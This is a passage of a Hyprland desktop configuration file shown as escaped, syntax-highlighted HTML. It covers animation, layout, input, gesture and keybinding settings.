&lt;/span&gt;&lt;span&gt;1.94,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;almostLinear,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fade&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;163&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspacesIn,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.21,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;almostLinear,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fade&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;164&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspacesOut,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.94,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;almostLinear,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fade&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;165&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;166&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;167&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Ref https://wiki.hyprland.org/Configuring/Workspace-Rules/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;168&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# &quot;Smart gaps&quot; / &quot;No gaps when only&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;169&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# uncomment all if you wish to use that.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;170&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# workspace = w[tv1], gapsout:0, gapsin:0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;171&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# workspace = f[1], gapsout:0, gapsin:0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;172&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# windowrule = bordersize 0, floating:0, onworkspace:w[tv1]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;173&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# windowrule = rounding 0, floating:0, onworkspace:w[tv1]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;174&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# windowrule = bordersize 0, floating:0, onworkspace:f[1]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;175&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# windowrule = rounding 0, floating:0, onworkspace:f[1]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;176&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;177&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# See https://wiki.hyprland.org/Configuring/Dwindle-Layout/ for more&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;178&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;dwindle&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;179&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;pseudotile&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Master switch for pseudotiling. Enabling is bound to mainMod + P in the keybinds section below&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;180&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;preserve_split&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# You probably want this&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;181&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;182&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;183&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# See https://wiki.hyprland.org/Configuring/Master-Layout/ for more&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;184&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;master&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;185&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;new_status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;master&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;186&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;187&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;188&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# https://wiki.hyprland.org/Configuring/Variables/#misc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;189&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;misc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;190&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;force_default_wallpaper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Set to 0 or 1 to disable the anime mascot wallpapers&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;191&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;disable_hyprland_logo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# If true disables the random hyprland logo / anime girl background. :(&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;192&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;193&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;194&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;195&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#############&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;196&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;### INPUT ###&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;197&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#############&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;198&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;199&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# https://wiki.hyprland.org/Configuring/Variables/#input&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;200&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;201&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;kb_layout&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;us&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;202&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;kb_variant&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;203&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;kb_model&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;204&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;kb_options&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;205&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;kb_rules&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;206&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;207&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;follow_mouse&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;208&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;209&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;sensitivity&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# -1.0 - 1.0, 0 means no modification.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;210&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;211&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;touchpad&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;212&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;natural_scroll&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;213&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;214&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;215&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;216&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# https://wiki.hyprland.org/Configuring/Variables/#gestures&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;217&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gestures&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;218&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;workspace_swipe&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;219&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;220&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;221&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Example per-device config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;222&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# See https://wiki.hyprland.org/Configuring/Keywords/#per-device-input-configs for more&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;223&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;device&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;224&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;epic-mouse-v1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;225&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;sensitivity&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-0.5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;226&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;227&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;228&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;229&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;###################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;230&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;### KEYBINDINGS ###&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;231&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;###################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;232&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;233&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# See https://wiki.hyprland.org/Configuring/Keywords/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;234&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt; = SUPER &lt;/span&gt;&lt;span&gt;# Sets &quot;Windows&quot; key as main modifier&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;235&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;236&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Example binds, see https://wiki.hyprland.org/Configuring/Binds/ for more&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;237&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Q,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$terminal&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;238&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;C,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;killactive,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;239&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;M,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exit,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;240&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;E,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$fileManager&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;241&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;V,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;togglefloating,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;242&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;R,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;243&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;P,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pseudo,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# dwindle&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;244&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;J,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;togglesplit,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# dwindle&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;245&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;F,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exec,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;246&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;247&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Move focus with mainMod + arrow keys&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;248&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;left,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movefocus,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;l&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;249&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;right,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movefocus,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;r&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;250&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;up,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movefocus,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;u&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;251&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mainMod&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;down,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;movefocus,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;252&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
